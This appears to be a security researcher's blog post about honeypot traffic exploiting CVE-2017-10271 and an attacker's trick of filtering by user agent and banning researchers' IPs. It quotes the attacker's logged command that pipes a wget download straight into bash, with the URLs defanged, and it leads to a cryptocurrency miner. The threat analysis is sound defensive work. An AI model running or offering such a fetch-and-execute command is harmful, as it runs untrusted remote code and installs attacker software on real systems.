I have to check this thing every day or I miss something. It’s not every day that I see something new - most days are the same things I’ve already seen and new copies of malware that’s basically the same as the old.

This morning, however, I witnessed a tactic I had wondered if anyone considered employing in the past, but hadn’t actually observed evidence of.

I had traffic showing an attacker attempting to exploit CVE-2017-10271, dropping software from hxxp:// This was similar to yesterday’s traffic, but then I wasn’t able to capture the script before losing the server. This morning I attempted to grab the script.

wget hxxp://
--2018-06-15 11:15:13--  hxxp://
Connecting to connected.
HTTP request sent, awaiting response... 403 Forbidden
2018-06-15 11:15:14 ERROR 403: Forbidden.

Let’s try again with the windows version of this…

wget hxxp://
--2018-06-15 11:15:56--  hxxp://
Connecting to failed: Connection refused.

Interesting - server’s there, URL’s forbidden. Then, I try again but “connection refused”. But, the original request from my logs was actually:

<void index="2">
    <string>wget --user-agent linux -O - hxxp:// | bash</string>

The user agent was specified - I only used wget’s default. Normally that’s not a problem.

However - an attacker that wants to make things just a bit harder for researchers could filter based on user agent, then turn IP addresses that fail the filter into a firewall rule, banning the IP address.

I try again from a different IP address…

wget --user-agent linux hxxp://
--2018-06-15 11:18:16--  hxxp://
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 1073 (1.0K) [application/x-sh]
Saving to: ‘st.sh’

st.sh               100%[===================>]   1.05K  --.-KB/s    in 0s      

2018-06-15 11:18:16 (108 MB/s) - ‘st.sh’ saved [1073/1073]

Thank you!

st.sh leads to other downloads, including “xmrig” and “H” for 3264 bit x86. At least xmrig looks to be a coin miner called XMRigCC, doing the cryptonight algorithm.

It’s great to see some new, simple tactics being used.

Even after going back with the new user-agent, I get a 404 on the windows powershell script download. I don’t know what the powershell user-agent comes out as immediately, or I’d try it. I don’t get the same fail-to-ban behavior using the “linux” user-agent for the Windows download though, perhaps because my IP is already accepted, or perhaps because the aperture for what’s accepted is wide enough.